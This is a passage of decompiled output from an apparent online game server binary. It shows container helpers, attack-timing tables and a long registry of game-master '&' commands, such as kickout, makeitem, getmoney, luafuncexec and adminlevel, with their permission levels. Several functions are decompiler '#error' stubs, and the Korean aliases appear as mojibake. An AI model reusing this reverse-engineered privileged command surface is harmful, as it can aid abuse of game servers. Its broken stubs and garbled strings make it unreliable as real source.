int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0041D7F0) -------------------------------------------------------- #error "41D7F0: undefined or illegal type '#734' (funcsize=55)" //----- (0041D900) -------------------------------------------------------- #error "41D900: undefined or illegal type '#734' (funcsize=183)" //----- (0041DBC0) -------------------------------------------------------- #error "41DBC0: undefined or illegal type '#1265' (funcsize=106)" //----- (0041DD70) -------------------------------------------------------- void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr) { if ( _Ptr->_Myres >= 0x10 ) operator delete(*(void **)&_Ptr->_Bx._Buf[0]); _Ptr->_Myres = 15; _Ptr->_Mysize = 0; _Ptr->_Bx._Buf[0] = 0; } //----- (0041DDA0) -------------------------------------------------------- void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) { if ( i->_Myres >= 0x10 ) operator delete(*(void **)&i->_Bx._Buf[0]); i->_Myres = 15; i->_Mysize = 0; i->_Bx._Buf[0] = 0; } } //----- (0041DDE0) -------------------------------------------------------- void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::length_error::_length_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0041DE00) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0041DE70) -------------------------------------------------------- void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that) { std::out_of_range *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::out_of_range::_vftable_; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0041DE90) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0041DF00) -------------------------------------------------------- #error "41DF00: undefined or illegal type '#734' (funcsize=108)" //----- (0041E080) -------------------------------------------------------- #error "41E080: undefined or illegal type '#734' (funcsize=108)" //----- (0041E200) -------------------------------------------------------- #error "41E200: undefined or illegal type '#734' (funcsize=86)" //----- (0041E340) -------------------------------------------------------- #error "41E340: undefined or illegal type '#734' (funcsize=90)" //----- (0041E490) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { char *v5; // [sp-4h] [bp-48h]@2 AmpersandCommand *thisa; // [sp+10h] [bp-34h]@1 FunctionEntarance _; // [sp+14h] [bp-30h]@1 char strtype; // [sp+18h] [bp-2Ch]@1 void *p; // [sp+1Ch] [bp-28h]@1 unsigned int _N0; // [sp+2Ch] [bp-18h]@1 unsigned int v11; // [sp+30h] [bp-14h]@1 unsigned int v12; // [sp+34h] [bp-10h]@1 int v13; // [sp+40h] [bp-4h]@1 thisa = this; v12 = (unsigned int)&thisa ^ __security_cookie; _.fe_FunctionCode = "AmpersandCommand::ac_IgnoreSkillCoolTime"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_IgnoreSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v11 = 15; _N0 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strtype, (const char *)arg, strlen((const char *)arg)); LOBYTE(v13) = 1; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)&strtype, 0, _N0, "1", 1u) ) { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 1); v5 = "IgnoreSkillCoolTime true"; } else { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 0); v5 = "IgnoreSkillCoolTime false"; } AmpersandCommand::ac_wall(thisa, sp, v5); if ( v11 >= 0x10 ) operator delete(p); --funcallanalizer.fca_stackpoint; v11 = 15; _N0 = 0; LOBYTE(p) = 0; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); __security_check_cookie((unsigned int)&thisa ^ v12); } //----- (0041E5D0) -------------------------------------------------------- #error "41E5D0: undefined or illegal type '#734' (funcsize=163)" //----- (0041E7D0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( _First, _Last, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Last); } //----- (0041E7F0) -------------------------------------------------------- void __thiscall AmpersandCommand::AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // ebx@1 signed int v5; // ebp@1 ListStruct *v6; // ecx@3 AmpersandCommandElement *v7; // edi@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 AmpersandCommandElement *v10; // edi@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 AmpersandCommandElement *v13; // edi@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 AmpersandCommandElement *v16; // edi@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x100u); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_constructor_iterator_( v1->ac_command, 0x28u, 256, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 0; v4 = (int)&v1->ac_command[1]; v5 = 64; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 40; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 40; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 80; } v3 += 4; v2 += 4; v4 += 160; --v5; } while ( v5 ); AmpersandCommand::ac_Store(v1, "&hide", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&¼", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&show", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&º¸¿©", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&pfind", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&ijÃßÀ", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&mfind", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&¸", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&kickout", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&Ãß¹æ", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&linkto", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&À̵¿", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&psummon", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&ij¼Òȯ", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&expbonus", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&°æÇèÄ¡º¸³Ê½º", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&itembonus", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&¾ÆÀÌÅÛº¸³Ê½º", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&fieldbonus", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&Çʵ庸³Ê½º", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&silence", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&Á¶¿ëÈ", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&distribute", 10, AmpersandCommand::ac_PlayerDistribute); AmpersandCommand::ac_Store(v1, "&isblock", 10, AmpersandCommand::ac_IsBlock); AmpersandCommand::ac_Store(v1, "&mobdist", 10, AmpersandCommand::ac_MobDistribute); AmpersandCommand::ac_Store(v1, "&chargeditem", 100, AmpersandCommand::ac_ChargedItem); AmpersandCommand::ac_Store(v1, "¶meterview", 100, AmpersandCommand::ac_ParameterView); AmpersandCommand::ac_Store(v1, "&adminlevel", 1, AmpersandCommand::ac_AdminLevel); AmpersandCommand::ac_Store(v1, "&serverindex", 100, AmpersandCommand::ac_ServerIndex); AmpersandCommand::ac_Store(v1, "&makeitem", 100, AmpersandCommand::ac_MakeItem); AmpersandCommand::ac_Store(v1, "&cleariv", 1, AmpersandCommand::ac_ClearInventory); AmpersandCommand::ac_Store(v1, "&dimension", 100, AmpersandCommand::ac_Dimension); AmpersandCommand::ac_Store(v1, "&doorbuild", 100, AmpersandCommand::ac_DoorBuild); AmpersandCommand::ac_Store(v1, "&mobbreed", 50, AmpersandCommand::ac_MobBreed); AmpersandCommand::ac_Store(v1, "&mb", 50, AmpersandCommand::ac_MobBreed_simple); AmpersandCommand::ac_Store(v1, "&fullpoint", 50, AmpersandCommand::ac_fullpoint); AmpersandCommand::ac_Store(v1, "&summonplayer", 100, AmpersandCommand::ac_summonplayer); AmpersandCommand::ac_Store(v1, "&performance", 10, AmpersandCommand::ac_performance); AmpersandCommand::ac_Store(v1, "&sethp", 100, AmpersandCommand::ac_Sethp); AmpersandCommand::ac_Store(v1, "&setsp", 100, AmpersandCommand::ac_Setsp); AmpersandCommand::ac_Store(v1, "&dist", 10, AmpersandCommand::ac_Dist); AmpersandCommand::ac_Store(v1, "&coord", 10, AmpersandCommand::ac_CurrentLoc); AmpersandCommand::ac_Store(v1, "&scrint", 10, AmpersandCommand::ac_ScriptInterrupt); AmpersandCommand::ac_Store(v1, "&timer", 50, AmpersandCommand::ac_Timer); AmpersandCommand::ac_Store(v1, "&templink", 10, AmpersandCommand::ac_TempLink); AmpersandCommand::ac_Store(v1, "&oxblock", 100, AmpersandCommand::ac_OXBlock); AmpersandCommand::ac_Store(v1, "&z", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&¤»", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&gmchat", 1, AmpersandCommand::ac_GMChat); AmpersandCommand::ac_Store(v1, "&gldcollectclear", 100, AmpersandCommand::ac_GuildCollectClear); AmpersandCommand::ac_Store(v1, "&gldcollectset", 100, AmpersandCommand::ac_GuildCollectSet); AmpersandCommand::ac_Store(v1, "&questgiveup", 100, AmpersandCommand::ac_questgiveup); AmpersandCommand::ac_Store(v1, "&questrecieve", 100, AmpersandCommand::ac_questrecieve); AmpersandCommand::ac_Store(v1, "&questcomplete", 100, AmpersandCommand::ac_questcomplete); AmpersandCommand::ac_Store(v1, "&learnskill", 100, AmpersandCommand::ac_learnskill); AmpersandCommand::ac_Store(v1, "&skillcooltime", 100, AmpersandCommand::ac_skillcooltime); AmpersandCommand::ac_Store(v1, "&setabstate", 100, AmpersandCommand::ac_Setabstate); AmpersandCommand::ac_Store(v1, "&resetabstate", 100, AmpersandCommand::ac_resetabstate); AmpersandCommand::ac_Store(v1, "&kqreward", 100, AmpersandCommand::ac_KQReward); AmpersandCommand::ac_Store(v1, "&killallmob", 50, AmpersandCommand::ac_killallmob); AmpersandCommand::ac_Store(v1, "&mobdamage", 100, AmpersandCommand::ac_mobdamage); AmpersandCommand::ac_Store(v1, "&suicideallmob", 50, AmpersandCommand::ac_SuicideAllMob); AmpersandCommand::ac_Store(v1, "&kingdomquest", 100, AmpersandCommand::ac_KingdomQuest); AmpersandCommand::ac_Store(v1, "&Reroadkingdomquest", 100, AmpersandCommand::ac_ReroadKingdomQuest); AmpersandCommand::ac_Store(v1, "&endofkq", 100, AmpersandCommand::ac_EndOfKingdomQuest); AmpersandCommand::ac_Store(v1, "&guildtournament", 100, AmpersandCommand::ac_GuildTournament); AmpersandCommand::ac_Store(v1, "&zonelink", 100, AmpersandCommand::ac_ZoneLinkTest); AmpersandCommand::ac_Store(v1, "&block", 100, AmpersandCommand::ac_BlockMatrix); AmpersandCommand::ac_Store(v1, "&emptymap", 100, AmpersandCommand::ac_EmptyMap); AmpersandCommand::ac_Store(v1, "&serversocketcut", 100, AmpersandCommand::ac_ServerSocketCut); AmpersandCommand::ac_Store(v1, "&staticdamage", 50, AmpersandCommand::ac_staticdamage); AmpersandCommand::ac_Store(v1, "&deathaura", 100, AmpersandCommand::ac_deathaura); AmpersandCommand::ac_Store(v1, "&immortal", 10, AmpersandCommand::ac_immortal); AmpersandCommand::ac_Store(v1, "&enterminihouse", 100, AmpersandCommand::ac_EnterMiniHouse); AmpersandCommand::ac_Store(v1, "&horsespeed", 100, AmpersandCommand::ac_HorseSpeed); AmpersandCommand::ac_Store(v1, "&charinform", 10, AmpersandCommand::ac_CharInform); AmpersandCommand::ac_Store(v1, "&partyinfo", 100, AmpersandCommand::ac_PartyInform); AmpersandCommand::ac_Store(v1, "&propose", 100, AmpersandCommand::ac_Propose); AmpersandCommand::ac_Store(v1, "&proposeres", 100, AmpersandCommand::ac_ProposeRes); AmpersandCommand::ac_Store(v1, "&weddingreset", 100, AmpersandCommand::ac_WeddingReset); AmpersandCommand::ac_Store(v1, "&reserve", 100, AmpersandCommand::ac_WeddingReserve); AmpersandCommand::ac_Store(v1, "&enterready", 100, AmpersandCommand::ac_WeddingGuestEnterReady); AmpersandCommand::ac_Store(v1, "&enter", 100, AmpersandCommand::ac_WeddingGuestEnter); AmpersandCommand::ac_Store(v1, "&learnpassive", 100, AmpersandCommand::ac_learnPassive); AmpersandCommand::ac_Store(v1, "&unlearn", 100, AmpersandCommand::ac_Unlearnskill); AmpersandCommand::ac_Store(v1, "&unlearnpassive", 100, AmpersandCommand::ac_UnlearnPassive); AmpersandCommand::ac_Store(v1, "&wedding", 100, AmpersandCommand::ac_Wedding); AmpersandCommand::ac_Store(v1, "&showid", 100, AmpersandCommand::ac_ShowPlayerID); AmpersandCommand::ac_Store(v1, "&mobhatchery", 100, AmpersandCommand::ac_MobHatchery); AmpersandCommand::ac_Store(v1, "&allcritical", 100, AmpersandCommand::ac_AllCritical); AmpersandCommand::ac_Store(v1, "&erasechargebuf", 100, AmpersandCommand::ac_EraseChargeBuff); AmpersandCommand::ac_Store(v1, "&startGT", 100, AmpersandCommand::ac_StartGuildTournament); AmpersandCommand::ac_Store(v1, "&flagcapture", 100, AmpersandCommand::ac_FlagCapture); AmpersandCommand::ac_Store(v1, "&useguildskill", 100, AmpersandCommand::ac_UseGuildSkill); AmpersandCommand::ac_Store(v1, "&observerlinkto", 100, AmpersandCommand::ac_ObserverLinkTo); AmpersandCommand::ac_Store(v1, "&observerout", 100, AmpersandCommand::ac_ObserverOut); AmpersandCommand::ac_Store(v1, "&HP", 100, AmpersandCommand::ac_HPChange); AmpersandCommand::ac_Store(v1, "&SP", 100, AmpersandCommand::ac_SPChange); AmpersandCommand::ac_Store(v1, "&speed", 50, AmpersandCommand::ac_EditSpeed); AmpersandCommand::ac_Store(v1, "&linktosavedata", 100, AmpersandCommand::ac_LinktoSaveData); AmpersandCommand::ac_Store(v1, "&reloaddata", 100, AmpersandCommand::ac_ReLoadData); AmpersandCommand::ac_Store(v1, "&captivate", 100, AmpersandCommand::ac_Captivate); AmpersandCommand::ac_Store(v1, "&ignoreskillcooltime", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&Ä", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&invenview", 100, AmpersandCommand::ac_InventoryView); AmpersandCommand::ac_Store(v1, "&runto", 100, AmpersandCommand::ac_RunTo); AmpersandCommand::ac_Store(v1, "&ghostremove", 100, AmpersandCommand::ac_GhostRemove); AmpersandCommand::ac_Store(v1, "&curtime", 100, AmpersandCommand::ac_CurTime); AmpersandCommand::ac_Store(v1, "&amibusy", 100, AmpersandCommand::ac_AmIBusy); AmpersandCommand::ac_Store(v1, "&pw", 0, AmpersandCommand::ac_PW); AmpersandCommand::ac_Store(v1, "&knockback", 100, AmpersandCommand::ac_KnockBack); AmpersandCommand::ac_Store(v1, "&partblock", 100, AmpersandCommand::ac_PartBlock); AmpersandCommand::ac_Store(v1, "&debuglogging", 100, AmpersandCommand::ac_DebugLogging); AmpersandCommand::ac_Store(v1, "&&&", 100, AmpersandCommand::ac_Default); AmpersandCommand::ac_Store(v1, "&npcrevive", 100, AmpersandCommand::ac_NPCRevive); AmpersandCommand::ac_Store(v1, "&ts_DiceFix", 100, AmpersandCommand::ac_TaiSai_DiceFix); AmpersandCommand::ac_Store(v1, "&ts_DiceProbability", 100, AmpersandCommand::ac_TaiSai_DiceProbability); AmpersandCommand::ac_Store(v1, "&GB_DiceFix", 100, AmpersandCommand::ac_Gamble_TaiSai_DiceFix); AmpersandCommand::ac_Store(v1, "&GB_DiceProbability", 100, AmpersandCommand::ac_Gamble_TaiSai_DiceProbability); AmpersandCommand::ac_Store(v1, "&freestatapp", 100, AmpersandCommand::ac_FreeStatApp); AmpersandCommand::ac_Store(v1, "&makeraid", 100, AmpersandCommand::ac_makeraid); AmpersandCommand::ac_Store(v1, "&outraid", 100, AmpersandCommand::ac_outraid); AmpersandCommand::ac_Store(v1, "&inraid", 100, AmpersandCommand::ac_inraid); AmpersandCommand::ac_Store(v1, "&PlayIns", 100, AmpersandCommand::ac_PlayInstanceDungeon); AmpersandCommand::ac_Store(v1, "&bigbang", 100, AmpersandCommand::ac_BigBang); AmpersandCommand::ac_Store(v1, "&alllearnskill", 100, AmpersandCommand::ac_AllLearnSKill); AmpersandCommand::ac_Store(v1, "&levelup", 100, AmpersandCommand::ac_LevelUp); AmpersandCommand::ac_Store(v1, "&showallchar", 100, AmpersandCommand::ac_ShowAllChar); AmpersandCommand::ac_Store(v1, "&mobregenlist", 50, AmpersandCommand::ac_RegenReadyMob); AmpersandCommand::ac_Store(v1, "&·ç¾ÆÀμ", 100, AmpersandCommand::ac_LuaSec); AmpersandCommand::ac_Store(v1, "&testlink", 50, AmpersandCommand::ac_TestLink); AmpersandCommand::ac_Store(v1, ">ieffect", 50, AmpersandCommand::ac_GuildTournamentItemEffect); AmpersandCommand::ac_Store(v1, "&iareset", 50, AmpersandCommand::ac_ItemActionCoolTimeReset); AmpersandCommand::ac_Store(v1, "&queststart", 50, AmpersandCommand::ac_QuestStartReq); AmpersandCommand::ac_Store(v1, "&questread", 50, AmpersandCommand::ac_QuestReadReq); AmpersandCommand::ac_Store(v1, "&disposition", 50, AmpersandCommand::ac_DisPosition); AmpersandCommand::ac_Store(v1, "&idtimechange", 50, AmpersandCommand::ac_IDTimeChange); AmpersandCommand::ac_Store(v1, "&releasechatban", 50, AmpersandCommand::ac_ReleaseChatBan); AmpersandCommand::ac_Store(v1, "&slotmachine", 1, ShineObjectClass::ShineObject::so_ply_LoginIPSet); AmpersandCommand::ac_Store(v1, "&godofslotmachine", 100, AmpersandCommand::ac_GodOfSlotMachine); AmpersandCommand::ac_Store(v1, "&viewaggrolist", 50, AmpersandCommand::ac_ViewAggroList); AmpersandCommand::ac_Store(v1, "&ebcu", 50, AmpersandCommand::ac_EquipBelongedCancelUse); AmpersandCommand::ac_Store(v1, "&luaobserver", 100, AmpersandCommand::ac_LuaObserver); AmpersandCommand::ac_Store(v1, "&luafuncexec", 100, AmpersandCommand::ac_LuaFuncExec); AmpersandCommand::ac_Store(v1, "&pfgtset", 100, AmpersandCommand::ac_PFGTSet); AmpersandCommand::ac_Store(v1, "&mobitemdrop", 100, AmpersandCommand::ac_MobItemDrop); AmpersandCommand::ac_Store(v1, "&getmoney", 100, AmpersandCommand::ac_GetMoney); AmpersandCommand::ac_Store(v1, "&fnpc", 100, AmpersandCommand::ac_FindNPC); AmpersandCommand::ac_Store(v1, "&gmtestmode", 100, AmpersandCommand::ac_GMTestMode); AmpersandCommand::ac_Store(v1, "&arrangeiv", 100, AmpersandCommand::ac_ArrangeInven); AmpersandCommand::ac_Store(v1, "&cmt", 100, AmpersandCommand::ac_CameraMoveTest); } // 633E4C: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00420000) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v1; // esi@1 std::basic_string,std::allocator > *v2; // eax@1 v1 = this; v2 = this->_Myfirst; if ( v2 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v2, this->_Mylast, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)this); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00420040) -------------------------------------------------------- #error "420040: undefined or illegal type '#734' (funcsize=371)" //----- (00420790) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this) { this->arm_table[0][0] = 0; this->arm_table[1][0] = 0; this->arm_table[2][1] = 0; this->arm_table[3][2] = 0; this->arm_table[4][2] = 0; this->arm_table[5][1] = 0; this->arm_table[0][1] = 1; this->arm_table[0][2] = 2; this->arm_table[1][1] = 2; this->arm_table[1][2] = 1; this->arm_table[2][0] = 1; this->arm_table[2][2] = 2; this->arm_table[3][0] = 1; this->arm_table[3][1] = 2; this->arm_table[4][0] = 2; this->arm_table[4][1] = 1; this->arm_table[5][0] = 2; this->arm_table[5][2] = 1; this->arm_table[6][0] = 3; this->arm_table[7][0] = 3; this->arm_table[8][0] = 3; this->arm_table[9][0] = 3; this->arm_table[10][0] = 3; this->arm_table[11][0] = 3; this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Melee::_vftable_; this->arm_table[6][1] = 4; this->arm_table[6][2] = 5; this->arm_table[7][1] = 4; this->arm_table[7][2] = 5; this->arm_table[8][1] = 4; this->arm_table[8][2] = 5; this->arm_table[9][1] = 4; this->arm_table[9][2] = 5; this->arm_table[10][1] = 4; this->arm_table[10][2] = 5; this->arm_table[11][1] = 4; this->arm_table[11][2] = 5; } //----- (00420840) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int charclass) { char v3; // al@1 v3 = ca->ca_point + 1; ca->ca_point = v3; if ( (unsigned __int8)v3 >= 3u ) { ca->ca_point = 0; ca->ca_group = RandomBox::operator__(&rndbox, (((charclass != 21) - 1) & 0xFFFFFFFA) + 12); } } //----- (00420880) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca) { char v2; // al@1 int result; // eax@2 v2 = ca->ca_group; if ( (unsigned __int8)v2 < 0xCu ) result = this->arm_table[0][ca->ca_point + 3 * (unsigned __int8)v2]; else result = this->arm_table[0][ca->ca_point]; return result; } //----- (004208B0) -------------------------------------------------------- unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000) { int v3; // edx@0 unsigned int result; // eax@3 if ( ca->ca_group >= 6u && ca->ca_point ) result = ((v3 & 0x1FFFF) + 1180 * attackspeed1000) >> 17; else result = ((signed int)((unsigned __int64)(10 * attackspeed1000 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * attackspeed1000 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); return result; } //----- (00420900) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Range::_vftable_; } //----- (00420910) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca, int charclass) { ca->ca_point = (ca->ca_point + 1) & 2; } //----- (00420930) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca) { return ca->ca_point; } //----- (00420940) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Mob::_vftable_; } //----- (00420950) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythmBase::_vftable_; } //----- (00420960) -------------------------------------------------------- void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterEmpty *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { 